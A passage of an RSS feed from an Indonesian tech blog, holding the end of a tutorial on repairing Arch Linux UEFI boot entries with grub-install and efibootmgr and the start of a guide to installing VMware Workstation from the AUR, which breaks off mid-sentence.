window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, cari entri dengan nama seperti label yang sudah kita berikan tadi (&lt;strong&gt;Arch Linux&lt;/strong&gt;).&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Bootloader lost&lt;a href=&quot;#2-bootloader-lost&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kalau file grub/systemd-boot hilang, artinya bootloader memang perlu dipasang lagi juga. Solusinya, kita &lt;em&gt;install&lt;/em&gt; bootloader-nya terlebih dahulu, baru kemudian buat entri di NVRAM.&lt;/p&gt;&lt;p&gt;Pertama, kita perlu meng-&lt;em&gt;install&lt;/em&gt; ulang bootloader-nya terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;grub-install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--target=x86_64-efi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--efi-directory=/boot&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--bootloader-id=GRUB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;grub-mkconfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/boot/grub/grub.cfg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Btw, saya juga pernah menulis sedikit tentang modifikasi GRUB di artikel berikut:&lt;/p&gt;&lt;a href=&quot;/posts/tech/grub/&quot;&gt;&lt;div&gt;&lt;div&gt;GRUB: Theme, Timeout, OS-Prober, etc&lt;/div&gt;&lt;div&gt;A brief note regarding grub configuration.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-03-19&lt;/span&gt;&lt;span&gt;grub&lt;/span&gt;&lt;span&gt;&lt;span&gt;#grub&lt;/span&gt;&lt;span&gt;#theme&lt;/span&gt;&lt;span&gt;#timer&lt;/span&gt;&lt;span&gt;#os-prober&lt;/span&gt;&lt;span&gt;#boot&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;360&quot; src=&quot;/_astro/ss1.Dzo-gpT7_Z22TeRl.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Baru kemudian kita memasang kembali entri bootloader tersebut ke NVRAM:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sdX&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-L&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Arch Linux&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;\EFI\grub\grubx64.efi&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;-c&lt;/code&gt;: membuat entri baru (&lt;em&gt;create&lt;/em&gt;).&lt;br /&gt;
&lt;code&gt;-d&lt;/code&gt;: men-&lt;em&gt;specify&lt;/em&gt; disk yang terdapat partisi EFI.&lt;br /&gt;
&lt;code&gt;Y&lt;/code&gt;: nomor urutan partisi dari ESP di disk.&lt;br /&gt;
&lt;code&gt;-L&lt;/code&gt;: memberikan label / nama entri.&lt;br /&gt;
&lt;code&gt;-l&lt;/code&gt;: men-&lt;em&gt;specify&lt;/em&gt; file loader (biasanya berekstensi &lt;code&gt;.efi&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;Kemudian, kita bisa lihat apakah entri-nya sudah terpasang atau belum:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, cari entri dengan nama seperti label yang sudah kita berikan tadi (&lt;strong&gt;Arch Linux&lt;/strong&gt;).&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;NVRAM Entry Modif&lt;a href=&quot;#nvram-entry-modif&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Perhatikan bagian &lt;strong&gt;BootOrder&lt;/strong&gt; dari &lt;em&gt;output&lt;/em&gt; perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sebab, kita bisa mengetahui berada di urutan berapakah entri linux kita (Arch Linux). Urutan ini penting karena UEFI akan memilih siapa yang akan dibangkitkan pertama kali berdasarkan urutan tersebut.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;efibootmgr&quot; loading=&quot;lazy&quot; width=&quot;1278&quot; height=&quot;454&quot; src=&quot;/_astro/ss1.B9SUxi6V_1SYLvj.webp&quot; /&gt;&lt;figcaption&gt;efibootmgr&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Misalnya, di komputer saya, entri “Arch Linux” saya berada di urutan pertama (abaikan nomornya, fokus pada urutan yang berada di &lt;strong&gt;BootOrder&lt;/strong&gt;).&lt;/p&gt;&lt;p&gt;Jika kita misalnya mau menukar urutannya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0001,0002&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;-o&lt;/code&gt;: boot order (urutan &lt;em&gt;booting&lt;/em&gt;)&lt;/p&gt;&lt;p&gt;Maka, nanti, sistem operasi / device dengan nomor entri 0001 akan berada di urutan pertama, sementara 0002 akan berada di urutan kedua. Begitu seterusnya (jika kita memiliki lebih dari dua sistem operasi / device).&lt;/p&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Terima kasih sudah membaca.&lt;br /&gt;
Sampai jumpa di artikel saya yang lain!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://archlinux.org/packages/core/x86_64../images/efibootmgr/&quot; target=&quot;_blank&quot;&gt;https://archlinux.org/packages/core/x86_64../images/efibootmgr/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.overclockers.co.uk/blog/legacy-bios-vs-uefi-what-are-the-differences-and-which-is-better/&quot; target=&quot;_blank&quot;&gt;https://www.overclockers.co.uk/blog/legacy-bios-vs-uefi-what-are-the-differences-and-which-is-better/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://unikma.ac.id/2025/12/15/legacy-dan-uefi-perbedaan-dan-kelebihan/&quot; target=&quot;_blank&quot;&gt;https://unikma.ac.id/2025/12/15/legacy-dan-uefi-perbedaan-dan-kelebihan/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://claude.ai/share/e1e02fc5-8ee1-4f7a-9aa6-8381f5377631&quot; target=&quot;_blank&quot;&gt;https://claude.ai/share/e1e02fc5-8ee1-4f7a-9aa6-8381f5377631&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>VMWare Installation on Arch: A Straightforward Guidance</title><link>https://shangdi.github.io/posts/tech/vmware/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/vmware/</guid><description>To be correctly installed so that it can run smoothly on linux (Archlinux to be specific), you need a suitable and straightforward guidance, and this is for you.</description><pubDate>Thu, 09 Jul 2026 07:33:29 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Preface&lt;a href=&quot;#preface&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;VMWare perlu di-&lt;em&gt;install&lt;/em&gt; secara benar agar nanti &lt;em&gt;virtual machine&lt;/em&gt; yang berjalan di atasnya tidak mendapatkan kendala yang berarti. Tutorial ini dibuat sebagai referensi (pribadi) mengenai cara instalasi VMWare di linux (archlinux).&lt;/p&gt;&lt;section&gt;&lt;h3&gt;About VMWare&lt;a href=&quot;#about-vmware&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.vmware.com/&quot; target=&quot;_blank&quot;&gt;VMWare, Inc&lt;/a&gt; adalah sebuah perusahaan perangkat lunak virtualisasi yang berada di Amerika Serikat, tepatnya di Palo Alto, California. Sejak berdirinya pada tahun 1998, VMWare menjadi salah satu hypervisor virtualisasi paling terkenal di dunia, tentu saja selain &lt;a href=&quot;https://www.virtualbox.org/&quot; target=&quot;_blank&quot;&gt;VirtualBox&lt;/a&gt; dan &lt;a href=&quot;https://virt-manager.org/&quot; target=&quot;_blank&quot;&gt;Virt-Manager&lt;/a&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Pertahun 2022, VMWare diakuisisi oleh Broadcom.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Salah satu produk VMWare yang akan saya bahas pada artikel ini adalah VMWare Workstation Pro, yang mana adalah sebuah software hypervisor untuk membuat mesin virtual yang gratis.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kenapa saya catat instalasi VMWare di blog ini?&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Karena VMWare bukan aplikasi atau &lt;em&gt;software&lt;/em&gt; &lt;em&gt;native&lt;/em&gt; linux, sehingga instalasinya tidak semudah meng-&lt;em&gt;install&lt;/em&gt; Virtualbox misalnya.&lt;/li&gt;
&lt;li&gt;File binary VMWare juga tidak ada di repo Archlinux (setidakya per artikel ini ditulis). Oleh sebab itu, instalasinya tidak straightforward dan sedikit kompleks (menurut saya) sehingga memerlukan catatan.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Prerequisites&lt;a href=&quot;#prerequisites&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa hal yang perlu dipastikan sebelum meng-&lt;em&gt;install&lt;/em&gt; VMWare:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Virtualization CPU&lt;a href=&quot;#virtualization-cpu&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pastikan CPU kita mendukung virtualisasi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lscpu&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virtualization&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika ada &lt;em&gt;output&lt;/em&gt; seperti ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;CPU virtualization support check&quot; loading=&quot;lazy&quot; width=&quot;538&quot; height=&quot;251&quot; src=&quot;/_astro/ss1.CUL8Eh1c_2nFR0O.webp&quot; /&gt;&lt;figcaption&gt;CPU virtualization support check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Maka kita dapat melanjutkan ke tahap berikutnya (instalasi). Namun, jika &lt;em&gt;output&lt;/em&gt; tidak menunjukkan hasil apapun, kemungkinan besar CPU kita memang tidak mendukung virtualisasi.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;code&gt;linux-headers&lt;/code&gt;&lt;a href=&quot;#linux-headers&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pastikan kita juga sudah meng-&lt;em&gt;install&lt;/em&gt; paket yang diperlukan oleh VMWare, yaitu &lt;code&gt;linux-headers&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Untuk mengecek apakah kita sudah memiliki paketnya atau belum:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Qs&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linux-headers&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika tidak muncul &lt;em&gt;output&lt;/em&gt; apapun, artinya paket tersebut belum ter-&lt;em&gt;install&lt;/em&gt;. Untuk memasang, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--needed&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linux-headers&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;AUR PacMan (&lt;code&gt;yay&lt;/code&gt;)&lt;a href=&quot;#aur-pacman-yay&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;VMWare akan saya _install _dari AUR (&lt;em&gt;Arch User Repository&lt;/em&gt;). Oleh karena itu AUR &lt;em&gt;package manager&lt;/em&gt; diperlukan. Saya akan menggunakan &lt;code&gt;yay&lt;/code&gt;. Silakan cek, apakah &lt;code&gt;yay&lt;/code&gt; sudah ter-&lt;em&gt;install&lt;/em&gt; atau belum dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika belum, sila &lt;em&gt;install&lt;/em&gt; terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--needed&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;base-devel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://aur.archlinux.org/yay.git&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;makepkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-si&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Ada 2 cara insalasi VMWare di Archlinux:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;via AUR (&lt;em&gt;Arch User Repository&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;via Broadcom Website&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Saya hanya akan membahas cara instalasi via AUR.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;via AUR&lt;a href=&quot;#via-aur&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Cari VMWare di AUR dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Ss&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware-workstation&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Instal VMWare dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware-workstation&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Akan muncul beberapa prompt, tekan [Enter] saja ke setiap prompt yang muncul untuk melanjutkan proses instalasi dengan setelan default.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Tunggu beberapa saat karena ukuran file binary-nya cukup besar (300-an MB), dan proses &lt;em&gt;compile&lt;/em&gt;-nya juga perlu waktu.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Post-Installation&lt;a href=&quot;#post-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa hal yang perlu dilakukan sebelum menjalankan VMWare:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;VMWare Services&lt;a href=&quot;#vmware-services&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah proses instalasi selesai, kita bisa melihat status beberapa &lt;em&gt;services&lt;/em&gt; milik VMWare yang di-&lt;em&gt;handle&lt;/em&gt; oleh &lt;strong&gt;systemd&lt;/strong&gt; dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list-unit-files&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Perintah tersebut akan menghasilkan beberapa &lt;em&gt;output&lt;/em&gt; &lt;em&gt;service&lt;/em&gt; yang masih dalam keadaan “&lt;strong&gt;disabled&lt;/strong&gt;”:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;vmware services status check&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;351&quot; src=&quot;/_astro/ss2.-cjiDfcg_ZkzTQw.webp&quot; /&gt;&lt;figcaption&gt;vmware services status check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Minimal, kita perlu mengaktifkan &lt;code&gt;vmware-networks.service&lt;/code&gt; agar &lt;em&gt;virtual machine&lt;/em&gt; kita nanti bisa mendapat akses internet. Tapi, untuk tutorial ini, saya juga akan mengaktifkan 